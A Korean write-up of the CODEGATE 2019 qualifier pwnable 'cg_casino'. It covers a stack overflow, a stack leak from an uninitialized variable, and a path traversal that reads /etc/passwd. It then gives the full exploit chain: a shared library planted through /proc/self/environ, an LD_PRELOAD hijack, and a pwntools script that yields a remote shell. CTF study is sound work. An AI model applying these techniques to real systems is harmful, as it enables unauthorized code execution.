Category : pwnable
Summary : stack bof, LD_PRELOAD, /proc/self/environ
- 가장 흥미로웠던 문제라 이놈만 풀이 작성.
Concept
- casino를 concept으로 한 간단한 random game binary. 아래와 같이 5개 기능이 있다.
1. Vulnerability
1.1. Stack overflow
- user_input 함수는 argument인 ptr이 가리키는 공간의 크기를 고려하지 않고 개행문자(\n)가 들어올 때까지 무한정 입력받기 때문에 buffer overflow가 발생한다.
- 취약한 user_input 함수로 main 함수의 지역변수(voucher, old_voucher)에 입력을 받아 stack buffer overflow가 발생하지만, main 함수가 return을 하지 않아 sfp / ret 를 덮는 방식으로는 exploit 이 불가능하다.
1.2. Memory leak (from uninitialized variable)
- lotto menu 를 이용할 땐 사용자에게 입력받은 숫자가 <= 44 인지 검사한다.
- "%u" 포맷스트링으로 사용자에게 숫자를 입력받는데, 'A'와 같이 포맷에 맞지 않는 값이 들어오면 scanf 함수는 실패하고 &v12[v1]는 uninitialized variable이 된다. 만약 &v12[v1] 에 있는 쓰레기 값이 memory address라면 (보통) 44보다 크므로 printf로 출력하게 된다. -> memory leak
$ ./cg_casino
.............
GUESS 6 Numbers!
===================
| | | | | | |
===================
1
2
A
2335601000 : out of range
3
B
32646 : out of range
4
^C
$ python
>>> hex((32646 << 32) + 2335601000)
'0x7f868b367168' # stack leak
- 위 취약점을 이용하여 stack address leak 이 가능하다.
1.3. Path traversal
- merge voucher 기능은 사용자에게 old voucher path를 입력받아 current voucher path에 덮어씌운다.
- strlen(old_voucher) == 32 만 만족하면 사실상 mv [old_voucher] [voucher]과 동일한 기능이다.
$ ./cg_casino
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$ CG CASINO $$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 1
input voucher : pwn3r_45
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 2
input old voucher : ../../..//////////////etc/passwd # length must be 32bytes
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> ^C
$ cat voucher/pwn3r_45
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.................
- 일반적인 환경이었다면 이 기능을 이용해 .bashrc 나 .bash_profile을 덮어씌우는 등 여러가지 공격을 시도했겠지만, docker 설정에서 /home/cg_casino/voucher/ 말고는 write permission을 제거했기 때문에 딱히 덮어쓸 수 있는 파일이 없다.
2. Exploitation
- 위에서 말했듯 stack bof를 활용한 sfp / ret overwrite은 제한된다.
2.1. LD_PRELOAD
- 길이 제한이 없는 overflow이므로 main stack frame 보다 뒤(높은 주소)에 있는 argv, envp도 덮어쓸 수 있다. slot game 기능에서 system 함수를 부른다는 것을 보고 envp 영역을 덮어써서 LD_PRELOAD를 이용하는 방법이 떠올랐다.
- LD_PRELOAD 환경변수를 설정하면 system 함수가 내부적으로 execve("/bin/sh", "-c", "/usr/bin/clear"); 를 실행하는 시점에 LD_PRELOAD에 설정된 library file을 로드시켜 /bin/sh 의 라이브러리 함수를 hooking 한다.
- 이제 어떠한 library file을 로드시킬지가 문제이다. 사용자가 서버에 file을 생성할 수 있는 기능은 없지만, merge voucher 기능을 잘 이용하면 library file을 생성할 수 있다.
2.2. /proc/self/environ
- /proc/[pid]/environ은 해당 process의 envp영역을 보여준다. 정확히는 &envp[0][0] ~ stack top까지의 영역을 보여주는 것이다. &envp[0][0]을 덮어쓰면 당연히 /proc/[pid]/environ에도 반영된다.
$ cat ooo.c
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
puts("before");
getchar();
memcpy(&envp[0][0], "45454545", 8);
puts("after");
getchar();
}
$ ./ooo
before
$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 5844 475f 5654 4e52 3d37 0058 4447 5f53 XDG_VTNR=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S
$ fg
after
$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 3435 3435 3435 3435 3d37 0058 4447 5f53 45454545=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S
- envp 영역도 stack buffer overflow로 덮어쓸 수 있는 영역이기 때문에 envp영역에 library file을 덮어버리면 /proc/self/environ은 하나의 ELF file처럼 만들어줄 수 있다. 하지만 /proc/self/environ은 일반 file이 아니기 때문에 LD_PRELOAD=/proc/self/environ으로 직접 로드시킬 수 없다.
- 하지만 merge voucher 기능으로 /home/cg_casino/voucher/ 에 복사시키고 LD_PRELOAD에 경로를 설정해주면 정상적으로 로드시킬 수 있다.
2.3. Tiny .so file
#include <sys/syscall.h>
void __libc_start_main(){
execve("/bin/sh", 0, 0);
}
void execve(char *path, char **argv, char **envp){
asm volatile ("syscall" :: "a"(SYS_execve));
}
- __libc_start_main 함수를 hooking하여 /bin/sh를 실행하도록 하는 library file을 만들었다.
pwn3r@ubuntu:~$ gcc -w -fPIC -shared -o run_shell.so ./run_shell.c
pwn3r@ubuntu:~$ export LD_PRELOAD=`pwd`/run\_shell.so
pwn3r@ubuntu:~$ /usr/bin/clear
$
- 주어진 환경에서 /proc/self/environ의 크기는 약 3434byte 정도이기 때문에 기존 run_shell.so (8120byte)의 크기를 줄여야한다.
- (접속자 IP가 REMOTE_HOST 환경변수에 들어가기 때문에 3434byte에서 차이가 발생할 수 있음)
- library file을 compile할 때 -znorelro -s -nostdlib등의 옵션을 붙여주면 크기를 줄일 수 있다.
$ gcc -w -fPIC -shared -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 8120 Jan 30 17:36 run_shell.so
$ gcc -w -znorelro -s -fPIC -shared -nostdlib -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 2432 Jan 30 17:37 run_shell.so
- 마지막으로 user_input함수는 '\n'까지만 입력받기 때문에 run_shell.so 에서 '\n'을 다른 값으로 치환해야 한다. 단순하게 file data에서 '\n' -> '\x0b'로 치환해봤는데 정상적으로 로드가 되어 그대로 사용했다. (다행히
- ELF format에 영향을 미치지 않는 값이 아니었던 듯)
>>> with open("run_shell.so", "rb") as f:
... data = f.read()
...
>>> with open("run_shell.so", "wb") as f:
... f.write(data.replace('\n', '\x0b'))
... >>>
2.4. Exploit
#!/usr/bin/python
from pwn import *
def set_voucher(voucher):
global s
s.recvuntil('> ')
s.sendline('1')
s.recvuntil('input voucher : ')
s.sendline(voucher)
def copy_voucher(old_voucher):
global s
s.recvuntil('> ')
s.sendline('2')
s.recvuntil('input old voucher : ');
s.sendline(old_voucher)
def lotto(*nums):
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
for num in range(nums):
s.sendline(str(num))
def stack_leak():
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
s.sendline('1')
s.sendline('2')
s.sendline('a')
lo = int(s.recvline().split(' : ')[0])
s.sendline('3')
s.sendline('b')
hi = int(s.recvline().split(' : ')[0])
s.sendline('4')
s.sendline('5')
s.sendline('6')
s.recvuntil('maybe next time\n')
return hi << 32 | lo
def slot():
global s
s.recvuntil('> ')
s.sendline('5')
s.recvuntil('press any key\n')
s.sendline()
if s.recvline(timeout=4) == '':
s.interactive()
s = remote('110.10.147.113', 6677)
#s = remote('0', 6677)
user_voucher = 'pwn3r_45.so'
set_voucher(user_voucher)
stack = stack_leak()
buf = stack + 0x40
print hex(stack)
with open('test.so') as f:
fake_so = f.read()
for i in range(3):
stack_top = (stack & 0xfffffffffffff000) + 0x1000 * (i+1)
env_start = stack_top - 3456 - len('X.XXX.XXX.XXX')
pay = user_voucher
pay = pay.ljust(0x80, '\x00')
pay += 'LD_PRELOAD=/home/cg_casino/voucher/{}\x00'.format(user_voucher)
pay = pay.ljust(0x158, '\x00')
pay += p64(buf + 0x80)
pay = pay.ljust(env_start - buf, '\x00')
pay += fake_so
set_voucher(pay.split('\n')[0])
copy_voucher('../../..///////proc/self/environ')
slot()
s.interactive()
s.close()
$ python exploit.py
[+] Opening connection to 110.10.147.113 on port 6677: Done
0x7ffe12221390
[*] Switching to interactive mode
$ id
uid=1000(cg_casino) gid=1000(cg_casino) groups=1000(cg_casino)
'CTF > 2019' 카테고리의 다른 글
0CTF 2019 - Fast&Furious (0) | 2019.07.21 |
---|---|
0CTF 2019 - Fast&Furious2 (0) | 2019.07.21 |
CODEGATE 2019 QUAL - Maris_shop (0) | 2019.01.31 |
CODEGATE 2019 QUAL - god-the-reum (0) | 2019.01.29 |